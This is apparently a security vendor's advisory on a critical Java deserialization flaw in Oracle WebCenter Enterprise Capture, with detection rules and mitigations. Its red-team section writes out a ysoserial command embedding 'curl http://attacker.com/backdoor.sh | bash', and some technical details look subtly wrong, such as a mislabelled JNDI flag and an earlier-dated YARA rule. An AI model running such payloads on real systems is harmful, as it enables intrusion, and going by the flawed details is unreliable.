CVE-2026-35280

Executive Summary

CVE-2026-35280 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, part of Oracle Fusion Middleware. The flaw resides in the Client Bundle component and is exploitable via T3 and IIOP protocols. A low-privileged attacker with network access can achieve remote code execution, leading to full compromise of the application. The vulnerability has a CVSS score of 9.9 due to its low attack complexity, network attack vector, and scope change that allows impact on adjacent products. No public proof-of-concept or patch is currently available, but the risk is severe for unpatched systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects Oracle’s proprietary Java-based middleware, which is typically deployed in enterprise environments. Organizations should verify the integrity of their Oracle WebCenter Enterprise Capture installations and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impact may extend to other products
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical. An attacker with minimal privileges can remotely exploit this vulnerability without user interaction, potentially taking over the entire Oracle WebCenter Enterprise Capture instance and affecting connected systems.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the Client Bundle component of Oracle WebCenter Enterprise Capture. The component improperly handles serialized Java objects received via T3 (RMI) and IIOP (CORBA) protocols. By sending a crafted serialized object, an attacker can trigger arbitrary code execution in the context of the application server.

Root Cause: The application deserializes untrusted data without proper validation or filtering. Java deserialization of malicious objects can lead to remote code execution through gadget chains.

Attack Vector: The attacker sends a malicious serialized Java object over T3 or IIOP to the vulnerable service. The service deserializes the object, triggering the execution of embedded commands.

Impact: Successful exploitation allows the attacker to execute arbitrary code, install backdoors, exfiltrate data, and pivot to other systems within the network.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the default deserialization handling in the Client Bundle component. A patched version would implement a deny-list or allow-list for deserialized classes, or use a secure deserialization library.

Vulnerable Code (Conceptual):

// Vulnerable: Direct deserialization without validation
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject();
// Process obj...

Patched Code (Conceptual):

// Patched: Use a validated deserialization filter
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
ois.setObjectInputFilter(new OWASPFilter());
Object obj = ois.readObject();
// Process obj...

The OWASP filter would reject known dangerous classes (e.g., Runtime, ProcessBuilder) and enforce a whitelist of allowed classes.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Oracle WebCenter Enterprise Capture 12.2.1.4.0 on a Linux VM.
2. Ensure T3 and IIOP ports (e.g., 7001, 7002) are accessible.
3. Use a tool like ysoserial to generate a malicious serialized payload.

Exploitation Steps:

1. Identify the target’s T3/IIOP endpoint.
2. Generate a payload using ysoserial with a gadget chain compatible with the target’s Java version (e.g., CommonsCollections1).
3. Send the payload to the target using a custom script or tool like t3-deserialization-tool.

Example Command:

java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/backdoor.sh | bash' > payload.bin
python3 exploit.py --target 192.168.1.100 --port 7001 --payload payload.bin

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual T3/IIOP traffic patterns.
• Look for deserialization attempts by analyzing Java serialization streams.
• Use network IDS/IPS rules to detect known gadget chain signatures.

Hunting:

• Search for processes spawning unexpected child processes (e.g., cmd.exe, bash).
• Check for outbound connections from the Oracle WebCenter server to unknown IPs.
• Review logs for deserialization errors or exceptions.

Indicators of Compromise (IOCs)

• Network:
  • Unusual T3/IIOP traffic to/from the Oracle WebCenter server.
  • Outbound connections to known malicious IPs or domains.
• Host:
  • Unexpected processes (e.g., reverse shells, backdoors).
  • New files in temporary directories (e.g., /tmp/.jar, /tmp/.class).
  • Modified system binaries or libraries.
• Logs:
  • Deserialization exceptions in application logs.
  • Unusual Java class loading events.

Detection Engineering

YARA Rule

rule CVE_2026_35280_Deserialization {
    meta:
        description = "Detects malicious serialized Java objects targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-35280"
    strings:
        $s1 = "java.rmi.server" ascii wide
        $s2 = "javax.management" ascii wide
        $s3 = "org.apache.commons.collections" ascii wide
        $s4 = "ysoserial" ascii wide
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2026-35280 Oracle WebCenter Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential deserialization attacks via T3/IIOP against Oracle WebCenter Enterprise Capture
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 7001
            - 7002
        protocol: tcp
        payload|contains:
            - "aced0005"  # Java serialization magic bytes
            - "rO0AB"     # Base64 encoded Java serialization
    condition: selection
falsepositives:
    - Legitimate Java RMI traffic
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 7001,7002 (msg:"CVE-2026-35280 Oracle WebCenter Deserialization Attempt"; flow:to_server,established; content:"|ac ed 00 05|"; depth:4; content:"|00 00 00 00|"; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable T3 and IIOP protocols if not required.
2. Apply network access controls to restrict access to the Oracle WebCenter server.
3. Monitor for suspicious deserialization attempts using the provided detection rules.

Long-term Fix:

• Apply the official patch from Oracle when released.
• Upgrade to a patched version of Oracle WebCenter Enterprise Capture.
• Implement a Web Application Firewall (WAF) to filter malicious serialized objects.

Workarounds:

• Use Java deserialization filters (e.g., -Dcom.sun.jndi.rmi.object.trustURLCodebase=false).
• Restrict outbound connections from the application server.

Valters IT
Securing Digital Frontiers